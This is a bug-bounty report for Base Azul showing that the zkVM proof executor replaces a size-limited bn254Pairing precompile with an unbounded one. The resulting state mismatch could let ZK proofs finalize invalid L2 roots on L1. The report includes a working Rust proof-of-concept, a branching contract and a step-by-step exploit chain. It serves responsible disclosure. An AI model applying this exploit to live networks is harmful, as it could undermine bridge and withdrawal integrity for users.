> For the complete documentation index, see [llms.txt](https://reports.immunefi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reports.immunefi.com/base/75101-bc-critical-zk-proof-executor-uses-wrong-azul-precompile-semantics-allowing-proofs-for-invalid.md).

# 75101 bc critical zk proof executor uses wrong azul precompile semantics allowing proofs for invalid l2 state roots

**#75101 \[BC-Critical] ZK Proof Executor Uses Wrong Azul Precompile Semantics, Allowing Proofs For Invalid L2 State Roots**

**Submitted on Apr 27th 2026 at 08:46:05 UTC by @Brainiac5 for** [**Audit Comp | Base Azul**](https://immunefi.com/audit-competition/audit-comp-base-azul)

* **Report ID:** #75101
* **Report Type:** Blockchain/DLT
* **Report severity:** Critical
* **Target:** <https://github.com/base/base/tree/v0.8.0-rc.24>
* **Impacts:**
  * A bug in the respective layer 0/1/2 network code that results in unintended smart contract behavior with no concrete funds at direct risk

### Description

### Brief

The zkVM proof executor does not use the same Azul precompile table as normal Base execution. In Azul, normal Base execution rejects `bn254Pairing` inputs above the Jovian/Azul size limit of `81,984` bytes. The proof executor starts from the Azul precompile table but then overwrites the Base-specific `bn254Pairing` precompile with the vanilla Istanbul precompile, which does not enforce that Base limit. This means the same L2 transaction can execute one way on real Base nodes and another way inside the proof program. A proof generated over the proof executor can therefore attest to an output root that normal Base execution would not produce.

### Vulnerability Details

The normal Base precompile table correctly installs fork-specific precompiles. For Azul, it starts from Jovian and then applies the Azul Osaka changes:

```rust
OpSpecId::JOVIAN => Self::jovian(),
OpSpecId::AZUL => Self::azul(),
```

For Jovian, `bn254Pairing` is replaced with the Base-specific version:

```rust
precompiles.extend([
    bn254_pair::JOVIAN,
    bls12_381::JOVIAN_G1_MSM,
    bls12_381::JOVIAN_G2_MSM,
    bls12_381::JOVIAN_PAIRING,
]);
```

That `bn254_pair::JOVIAN` precompile rejects inputs longer than `81,984` bytes:

```rust
pub const JOVIAN_MAX_INPUT_SIZE: usize = 81_984;

pub fn run_pair_jovian(input: &[u8], gas_limit: u64) -> PrecompileResult {
    if input.len() > JOVIAN_MAX_INPUT_SIZE {
        return Err(PrecompileError::Bn254PairLength);
    }
    bn254::run_pair(input, bn254::pair::ISTANBUL_PAIR_PER_POINT, bn254::pair::ISTANBUL_PAIR_BASE, gas_limit)
}
```

The proof executor uses `OpZkvmPrecompiles`, not the normal `BasePrecompiles`, when executing blocks for witness/proof generation:

```rust
let executor = BaseExecutor::new(
    rollup_config.as_ref(),
    l2_provider.clone(),
    l2_provider,
    ZkvmOpEvmFactory::new(),
    None,
);
```

`ZkvmOpEvmFactory` installs `OpZkvmPrecompiles`:

```rust
.with_precompiles(OpZkvmPrecompiles::new_with_spec(spec_id))
```

The bug is in `OpZkvmPrecompiles::get_or_create_precompiles`. It first chooses the Base fork table, but then blindly extends it with generic accelerated precompiles:

```rust
fn get_precompiles() -> Vec<PrecompileWithAddress> {
    vec![
        bn254::add::ISTANBUL,
        bn254::mul::ISTANBUL,
        bn254::pair::ISTANBUL,
        secp256k1::ECRECOVER,
        secp256r1::P256VERIFY,
        kzg_point_evaluation::POINT_EVALUATION,
    ]
}

let base = match spec {
    OpSpecId::AZUL => BasePrecompiles::azul().clone(),
    ...
};
let mut precompiles = base;
precompiles.extend(get_precompiles());
```

Because `extend()` replaces the precompile at the same address, the Azul proof executor loses the Base-specific `bn254_pair::JOVIAN` limit and uses `bn254::pair::ISTANBUL` instead.

The result is not only a local precompile discrepancy. The PoC below deploys a tiny contract that branches on whether `STATICCALL(0x08)` succeeds:

* Normal Base Azul execution rejects the oversized `bn254Pairing` input, so the contract returns/stores `2`.
* The zkVM proof executor accepts the exact same transaction and calldata, so the contract returns/stores `1`.

That is a state-transition mismatch. A state root produced by the proof executor for this transaction is not the state root produced by normal Base execution.

### Impact Details

An attacker can build an L2 transaction that calls a contract which branches on the result of an oversized `bn254Pairing` precompile call.

The concrete exploit chain is:

1. The transaction calls `bn254Pairing` with a valid input of `82,176` bytes.
2. `82,176 > 81,984`, so normal Base Azul execution rejects the precompile call.
3. The same call succeeds in the proof executor because `OpZkvmPrecompiles` overwrote the Azul precompile with the vanilla Istanbul one.
4. The contract updates state differently depending on the precompile result.
5. The output root generated by the proof executor differs from the output root generated by normal Base nodes.
6. A ZK proof over that wrong execution can still satisfy `AggregateVerifier`, because the verifier checks the proof image/journal, not whether the proof program's precompile table matches the Base node precompile table.
7. If accepted and finalized, L1 can trust an invalid L2 state root.

This does not rely on the rejected TEE-only bootstrap issue, guardian inaction, old games, or a compromised admin key. The issue is in the prover execution semantics themselves.

This also does not require proving direct bridge theft to be serious. The in-scope impact explicitly includes finalizing an invalid state root on L1 through proof verification. Once an invalid root is finalized, bridge withdrawals and any L1 logic depending on that root inherit the wrong state.

### Suggested Fix

Do not overwrite Base fork-specific precompiles with generic accelerated precompiles.

Specific fixes:

* For `OpSpecId::AZUL`, keep `bn254_pair::JOVIAN` for `bn254Pairing` and keep `secp256r1::P256VERIFY_OSAKA` for P256.
* For `OpSpecId::JOVIAN`, do not map to `BasePrecompiles::isthmus()`; use `BasePrecompiles::jovian()` and preserve all Jovian limits.
* If accelerated precompiles are required, wrap the accelerated implementation with the same Base fork-specific bounds and gas semantics before installing it.
* Add fork-by-fork tests that compare every precompile address/id installed by `BasePrecompiles` and `OpZkvmPrecompiles`.
* Add transaction-level regression tests like the PoC above, not only direct precompile table tests.

### References

* `base/crates/proof/succinct/utils/client/src/precompiles/mod.rs:65`
* `base/crates/proof/succinct/utils/client/src/precompiles/mod.rs:90`
* `base/crates/proof/succinct/utils/client/src/precompiles/mod.rs:100`
* `base/crates/common/evm/src/precompiles/provider.rs:88`
* `base/crates/common/evm/src/precompiles/provider.rs:116`
* `base/crates/common/evm/src/precompiles/bn254_pair.rs:22`
* `base/crates/proof/succinct/utils/client/src/witness/executor.rs:144`
* `base/crates/proof/succinct/utils/client/src/precompiles/factory.rs:57`
* `contracts/src/multiproof/AggregateVerifier.sol:917`

Note: I used AI for the proof-of-concept writing and for refactoring the report for better structure, as rust can be tricky sometimes.

### Proof of Concept

PoC file:

```
base/crates/proof/succinct/utils/client/tests/audit_precompile_mismatch.rs
```

Run:

```sh
cd bounty/base-azul/base
cargo test --locked -p base-proof-succinct-client-utils \
  --test audit_precompile_mismatch \
  --config 'target.aarch64-apple-darwin.rustflags=["-C","link-arg=-fuse-ld=ld"]' \
  -- --nocapture
```

Observed result:

```
running 2 tests
test audit_azul_zkvm_bn254_pairing_uses_unbounded_istanbul_precompile ... ok
test audit_azul_zkvm_precompile_mismatch_changes_transaction_result ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out
```

Full PoC code:

```rust
//! Audit PoC for an Azul precompile mismatch between normal Base execution and proof execution.

use alloy_primitives::{Address, Bytes, U256, hex};
use base_common_evm::{
    BaseContext, BasePrecompiles, BaseTransaction, Builder as _, DefaultBase as _, L1BlockInfo,
    OpSpecId,
};
use base_proof_succinct_client_utils::precompiles::OpZkvmPrecompiles;
use revm::{
    Context, ExecuteEvm,
    bytecode::Bytecode,
    context::{CfgEnv, TxEnv},
    database::{EmptyDB, InMemoryDB},
    handler::PrecompileProvider,
    interpreter::{CallInput, CallInputs, CallScheme, CallValue, InstructionResult},
    precompile::bn254,
    primitives::{TxKind, bytes},
    state::AccountInfo,
};

type TestContext = BaseContext<EmptyDB>;

fn create_test_context() -> TestContext {
    Context::base().with_db(EmptyDB::new())
}

fn call_inputs(address: Address, input: Bytes, gas_limit: u64) -> CallInputs {
    CallInputs {
        input: CallInput::Bytes(input),
        gas_limit,
        bytecode_address: address,
        target_address: address,
        caller: Address::ZERO,
        value: CallValue::Transfer(U256::ZERO),
        scheme: CallScheme::Call,
        is_static: true,
        return_memory_offset: 0..0,
        known_bytecode: None,
    }
}

fn oversized_valid_pairing_input() -> Bytes {
    let valid_pair = hex!(
        "2cf44499d5d27bb186308b7af7af02ac5bc9eeb6a3d147c186b21fb1b76e18da\
         2c0f001f52110ccfe69108924926e45f0b0c868df0e7bde1fe16d3242dc715f61f\
         b19bb476f6b9e44e2a32234da8212f61cd63919354bc06aef31e3cfaff3ebc226\
         06845ff186793914e03e21df544c34ffe2f2f3504de8a79d9159eca2d98d92bd\
         368e28381e8eccb5fa81fc26cf3f048eea9abfdd85d7ed3ab3698d63e4f902\
         fe02e47887507adf0ff1743cbac6ba291e66f59be6bd763950bb16041a0a85e\
         0000000000000000000000000000000000000000000000000000000000000001\
         30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd45\
         1971ff0471b09fa93caaf13cbf443c1aede09cc4328f5a62aad45f40ec133eb\
         4091058a3141822985733cbdddfed0fd8d6c104e9e9eff40bf5abfef9ab163bc\
         72a23af9a5ce2ba2796c1f4e453a370eb0af8c212d9dc9acd8fc02c2e907bae\
         a223a8eb0b0996252cb548a4487da97b02422ebc0e834613f954de6c7e0afdc1fc"
    );

    let mut input = Vec::with_capacity(valid_pair.len() * 214);
    for _ in 0..214 {
        input.extend_from_slice(&valid_pair);
    }
    Bytes::from(input)
}

fn branching_contract_bytecode() -> Bytecode {
    Bytecode::new_legacy(bytes!(
        "365f5f375f5f365f60085afa601b5760025f5560025f5260205ff35b60015f5560015f5260205ff3"
    ))
}

fn run_branching_contract_with_protocol_precompiles(input: Bytes) -> U256 {
    let contract = Address::from([0x42; 20]);
    let caller = Address::from([0x11; 20]);

    let mut db = InMemoryDB::default();
    db.insert_account_info(
        contract,
        AccountInfo { code: Some(branching_contract_bytecode()), ..Default::default() },
    );
    db.insert_account_info(
        caller,
        AccountInfo { balance: U256::from(1_000_000), ..Default::default() },
    );

    let mut evm = Context::base()
        .with_db(db)
        .with_cfg(CfgEnv::new_with_spec(OpSpecId::AZUL))
        .with_chain(L1BlockInfo {
            l2_block: Some(U256::ZERO),
            operator_fee_scalar: Some(U256::ZERO),
            operator_fee_constant: Some(U256::ZERO),
            ..Default::default()
        })
        .build_base()
        .with_precompiles(BasePrecompiles::new_with_spec(OpSpecId::AZUL));

    let tx = BaseTransaction::builder()
        .base(
            TxEnv::builder()
                .caller(caller)
                .kind(TxKind::Call(contract))
                .data(input)
                .gas_limit(16_777_216),
        )
        .enveloped_tx(Some(Bytes::from_static(b"AUDIT")))
        .build_fill();

    let result = evm.transact_one(tx).expect("protocol transaction should execute");
    U256::from_be_slice(result.output().expect("contract should return a branch value"))
}

fn run_branching_contract_with_zkvm_precompiles(input: Bytes) -> U256 {
    let contract = Address::from([0x42; 20]);
    let caller = Address::from([0x11; 20]);

    let mut db = InMemoryDB::default();
    db.insert_account_info(
        contract,
        AccountInfo { code: Some(branching_contract_bytecode()), ..Default::default() },
    );
    db.insert_account_info(
        caller,
        AccountInfo { balance: U256::from(1_000_000), ..Default::default() },
    );

    let mut evm = Context::base()
        .with_db(db)
        .with_cfg(CfgEnv::new_with_spec(OpSpecId::AZUL))
        .with_chain(L1BlockInfo {
            l2_block: Some(U256::ZERO),
            operator_fee_scalar: Some(U256::ZERO),
            operator_fee_constant: Some(U256::ZERO),
            ..Default::default()
        })
        .build_base()
        .with_precompiles(OpZkvmPrecompiles::new_with_spec(OpSpecId::AZUL));

    let tx = BaseTransaction::builder()
        .base(
            TxEnv::builder()
                .caller(caller)
                .kind(TxKind::Call(contract))
                .data(input)
                .gas_limit(16_777_216),
        )
        .enveloped_tx(Some(Bytes::from_static(b"AUDIT")))
        .build_fill();

    let result = evm.transact_one(tx).expect("zkVM transaction should execute");
    U256::from_be_slice(result.output().expect("contract should return a branch value"))
}

#[test]
fn audit_azul_zkvm_bn254_pairing_uses_unbounded_istanbul_precompile() {
    let input = oversized_valid_pairing_input();
    assert_eq!(input.len(), 82_176);

    let address = bn254::pair::ADDRESS;

    let mut protocol_ctx = create_test_context();
    let mut protocol_precompiles = BasePrecompiles::new_with_spec(OpSpecId::AZUL);
    let protocol_result = protocol_precompiles
        .run(&mut protocol_ctx, &call_inputs(address, input.clone(), u64::MAX))
        .expect("protocol precompile call should not fatal")
        .expect("bn254 pairing precompile should exist");

    let mut zkvm_ctx = create_test_context();
    let mut zkvm_precompiles = OpZkvmPrecompiles::new_with_spec(OpSpecId::AZUL);
    let zkvm_result = zkvm_precompiles
        .run(&mut zkvm_ctx, &call_inputs(address, input, u64::MAX))
        .expect("zkVM precompile call should not fatal")
        .expect("bn254 pairing precompile should exist");

    assert_eq!(protocol_result.result, InstructionResult::PrecompileError);
    assert_eq!(zkvm_result.result, InstructionResult::Return);
}

#[test]
fn audit_azul_zkvm_precompile_mismatch_changes_transaction_result() {
    let input = oversized_valid_pairing_input();

    let protocol_branch = run_branching_contract_with_protocol_precompiles(input.clone());
    let zkvm_branch = run_branching_contract_with_zkvm_precompiles(input);

    assert_eq!(protocol_branch, U256::from(2));
    assert_eq!(zkvm_branch, U256::from(1));
}
```

### Expected vs Actual

Expected:

The proof executor must execute Azul blocks with exactly the same EVM/precompile semantics as normal Base Azul nodes. If normal Base execution rejects an oversized `bn254Pairing` input, the proof executor must reject it too.

Actual:

Normal Base Azul execution rejects the oversized `bn254Pairing` input and the test contract takes branch `2`. The proof executor accepts the same input and the same transaction takes branch `1`.

### Preconditions And Constraints

* Azul must be active for the block being proven.
* The L2 transaction must reach a contract that branches on the success/failure of an oversized `bn254Pairing` call.
* The attacker must be able to generate or submit a ZK proof that relies on the zkVM proof executor output root.
* This report does not require an admin mistake, TEE-only bootstrap assumptions, or guardian inaction.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://reports.immunefi.com/base/75101-bc-critical-zk-proof-executor-uses-wrong-azul-precompile-semantics-allowing-proofs-for-invalid.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
